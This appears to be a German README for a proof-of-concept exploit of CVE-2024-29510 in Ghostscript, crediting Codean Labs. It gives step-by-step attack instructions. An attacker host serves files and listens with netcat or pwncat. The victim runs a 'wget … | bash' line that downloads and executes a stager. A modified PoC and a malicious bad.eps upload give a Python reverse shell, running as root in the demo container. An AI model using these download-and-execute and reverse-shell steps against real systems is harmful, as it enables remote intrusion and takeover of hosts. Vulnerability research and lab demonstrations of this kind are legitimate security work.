Originalforschung und POC-Code: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/
HINWEIS: Ich habe außer dem ausgeführten Befehl keine Änderungen am POC vorgenommen. Alle Anerkennung gebührt Thomas Rinsma @ Codean Labs für seine großartige Forschung und den POC.
Lokales Szenario
- In Stager-Skript eingebettet, um ein Prüfskript herunterzuladen und auszuführen, um zu sehen, ob der Host verwundbar ist
- POC geändert, um eine Python3-Reverse-Shell herunterzuladen und auszuführen
- Stager und Reverse-Shell über STDIN heruntergeladen und ausgeführt
- POC hinterlässt ein Artefakt in /tmp mit zufälligem Namen
Auf dem Angreifer-Host:
- Mit pwncat-cs oder netcat einen Listener für 443 erstellen
- In das Exploit-Verzeichnis wechseln
- python3 -m http.server 80
Auf dem Opfer-Host (Ubuntu 23.10 mit Ghostscript 10.01.2):
- Terminal öffnen und ausführen: export RHOST=''; wget -q http://$RHOST/run -O - | bash &
Remote-Szenario (VulnApp)
- VulnApp erstellen mit: 'docker build -t cve-2024-29510-demo:latest .' (Erfordert eine Kopie von https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10021/ghostscript-10.02.1.tar.gz im Dockerfile-Verzeichnis)
- VulnApp ausführen mit: 'docker run --rm -p 5000:5000 cve-2024-29510-demo:latest'
- Versuchen Sie, good.ps zu konvertieren, um die Funktionalität zu testen. Es sollte ein gerendertes PDF mit Linien zurückgegeben werden, die einen Pfeil zeichnen, z. B. '>'
- Einen Webserver auf Port 80 einrichten, der shell.html hostet, z. B. 'python3 -m http.server 80'
- Mit pwncat-cs oder netcat einen Listener für 443 erstellen
- bad.eps hochladen, VulnApp wird hängen bleiben und der Listener sollte eine Reverse-Shell für den Container empfangen (läuft als root)